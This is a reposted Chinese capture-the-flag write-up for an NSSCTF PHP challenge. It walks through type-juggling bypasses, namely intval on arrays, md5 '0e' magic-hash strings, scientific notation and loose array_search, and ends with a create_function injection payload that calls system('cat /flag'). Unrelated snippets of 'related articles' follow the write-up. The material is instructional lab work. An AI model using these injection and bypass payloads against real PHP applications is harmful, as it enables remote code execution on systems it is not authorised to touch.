[NSSCTF Round#16 Basic]了解过PHP特性吗

了解过PHP特性吗 wp

第一页题目代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {die("no!!");
}
if (intval($num)) {$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {$ctype = strrev($_POST['ctype']);$is_num = strrev($_POST['is_num']);if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {$checker_2 = TRUE;}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {if (!is_numeric($_514) && $_514 > 9999999) {$checker_3 = TRUE;}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {for ($i = 0; $i < count($arr4y); $i++) {if ($arr4y[$i] === "NSS") {die("no!");}$arr4y[$i] = intval($arr4y[$i]);}if (array_search("NSS", $arr4y) === 0) {$checker_4 = TRUE;}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {echo $rce;
} 
第一关:intval 无数字绕过

推荐博客:CTFshow刷题日记-WEB-PHP特性(上)

if (preg_match("/[0-9]/", $num)) {die("no!!");
}
if (intval($num)) {$checker_1 = TRUE;
}

num 中没有数字却要通过 intval 的检测。

已知 intval 有如下特性:

echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1

那么只需要传入一个非空的数组即可:

num[1]=a&num[2]=b
第二关:ctype_alpha && is_numeric && md5 弱比较绕过

推荐博客:MD5绕过

if (isset($_POST['ctype']) && isset($_POST['is_num'])) {$ctype = strrev($_POST['ctype']);$is_num = strrev($_POST['is_num']);if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {$checker_2 = TRUE;}
}

ctype_alpha 函数检测提供的 string 类型的 text 里面的所有字符是否都是字母。

is_numeric 函数用于检测变量是否为数字或数字字符串。

strrev 函数反转字符串,所以传入的值要先反转一次。

因此让 ctype 是纯字母,让 is_num 是纯数字,并且两边经过 MD5 加密后都是 0e 开头,就可以通过弱比较。

经过 MD5 加密后是 0e 开头的纯字母字符串:

QLTHNDT

QNKCDZO

EEIZDOI

… …

经过 MD5 加密后是 0e 开头的纯数字字符串:

240610708

4011627063

4775635065

… …

POST 传参:

ctype=TDNHTLQ&is_num=807016042
第三关:intval 绕过且长度限制,is_numeric 绕过
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {if (!is_numeric($_514) && $_514 > 9999999) {$checker_3 = TRUE;}
}

114 用科学记数法传入即可,514 可以用 数字+字母,数字+%00,或者数组绕过。

GET 传参:114=1e8 ,POST 传参:514=999999999a

第四关:array_search 绕过

推荐博客:PHP弱类型总结

$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {for ($i = 0; $i < count($arr4y); $i++) {if ($arr4y[$i] === "NSS") {die("no!");}$arr4y[$i] = intval($arr4y[$i]);}if (array_search("NSS", $arr4y) === 0) {$checker_4 = TRUE;}
}

array_search() 函数在数组中搜索某个键值,并返回对应的键名。

用法示例:

<?php$a=array("a"=>"red","b"=>"green","c"=>"blue");
echo array_search("red",$a);?>

输出结果:a

array_search() 函数在查找时使用的是弱比较;

PHP 中比较 0 == "NSS" 时,字符串 "NSS" 会被转换为数字 0,所以比较的结果是 true

因此可以传入一个数组,其值是 0 ,这样在 array_search() 查找时一定能成功,返回键名为 0 ,那么强比较就成功了。

因此 payload 为 POST 传参:arr4y[]=0

该数组只有一个元素,其下标为 0 ,值为 0 ,下标就相当于键名;

array_search() 查找时,将 “NSS” 与键值 0 做弱比较,比较成功,返回键名 0 。

上述 payload 整合后,返回结果为:

在这里插入图片描述

提示:Rc3_function.php

第二页题目代码:

访问 Rc3_function.php :

<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){$nss_shell = create_function($shell,$nss);
} 
create_function 注入

推荐博客:[NISACTF 2022]level-up level 5

POST 传参 payload:

nss=return;}system('cat /flag');/*&shell=

返回结果:

在这里插入图片描述

拿到 flag 。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/415077.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue-30、Vue非单文件组件。

非单文件组件&#xff1a; 一个组件包含n个组件 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>非单文件组件</title><script type"text/javascript" src"https://cdn.jsde…

[Python]pymysql对应PyInstaller解析

报错信息&#xff1a; # 未获取异常如&#xff1a; AttributeError: str object has no attribute cursor# 获取异常如&#xff1a; __init__() takes 1 positional argument but 5 were given本地使用pymysql的场景&#xff1a;使用了tkinter进行GUI开发功能&#xff0c;又采…

[绍棠] docxtemplater实现纯前端导出word

1.下载需要的依赖 2.util文件夹下创建doc.js文件 doc.js import docxtemplater from docxtemplater import PizZip from pizzip import JSZipUtils from jszip-utils import { saveAs } from file-saver import ImageModule from "docxtemplater-image-module-free"…

Vscode 上安装 Compilot

GitHub Copilot 是由 OpenAI 和 GitHub 开发的 AI 工具。其目的是通过自动完成代码来帮助开发人员使用集成开发环境 &#xff08;IDE&#xff09;&#xff0c;如 Visual Studio Code。它目前仅作为技术预览版提供&#xff0c;因此只有已在候补名单上被接受的用户才能访问它。对…

MATLAB - 计算机械臂关节扭矩以平衡末端力和力矩

系列文章目录 前言 产生力矩以平衡作用在平面机器人末端执行器体上的端点力。要使用各种方法计算关节力矩&#xff0c;请使用刚体树机器人模型的几何雅各比&#xff08;geometricJacobian&#xff09;和反动力学&#xff08;inverseDynamics&#xff09;对象函数。 一、初始化…

Java:选择哪个Java IDE好?

Java&#xff1a;选择哪个Java IDE好? 在开始前我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「java的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;&…

element-plus表格前端实现分页效果

文章目录 需求分析 需求 对表格中的数据进行本地分页&#xff0c;不调用接口 分析 html <el-table fit :cell-style"{ textAlign: center }" :data"tableData" style"width: 100%" height"350":header-cell-style"{backg…

网络:FTP

1. FTP 文件传输协议&#xff0c;FTP是用来传输文件的协议。使用FTP实现远程文件传输的同时&#xff0c;还可以保证数据传输的可靠性和高效性。 2. 特点 明文传输。 作用&#xff1a;可以从服务器上下载文件&#xff0c;或将本地文件上传到服务器。 3. FTP原理 FTP有控制层面…

关于SpringBoot项目整合Log4j2实现自定义日志打印失效原因

主要的原因是因为&#xff0c;SpringBoot的logback包的存在&#xff0c;会导致Spring Boot项目优先实现logback的日志设置&#xff0c;所以导致我们用Log4j2实现自定义日志失效。 先找l哪个包引用了logback包 进入之后查询logback 然后双击包 发现是spring-boot-starter-loggin…

智慧充电桩的市场前景未来

随着电动汽车的日益普及&#xff0c;充电问题成为广大车主的关注焦点。作为领先的科技企业&#xff0c;天津通捷创科为您带来了一站式解决方案——共享充电桩APP。 <h1>一、即刻定位&#xff0c;充电桩触手可及</h1> 在天津通捷创科的共享充电桩APP中&#xff0c…

定时器开发基础

1定时器的基本概述 通过滴漏和漏沙瓶这两个例子简单讲述定时器的基本工作原理。 STM32的常见的定时器资源&#xff1a; 系统嘀嗒定时器SysTick、看门狗定时器WatchDog、实时时钟RTC、基本定时器、通用定时器、高级定时器。 系统嘀嗒定时器SysTick &#xff1a;这是一个集成在C…

基于FPGA的图像双边滤波实现,包括tb测试文件和MATLAB辅助验证

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 双边滤波数学模型 4.2 双边滤波的特性 4.3 FPGA实现架构 5.算法完整程序工程 1.算法运行效果图预览 将FPGA数据导入到matlab对比测试&#xff1a; 2.算法运行软件版本 vivado2019.2 …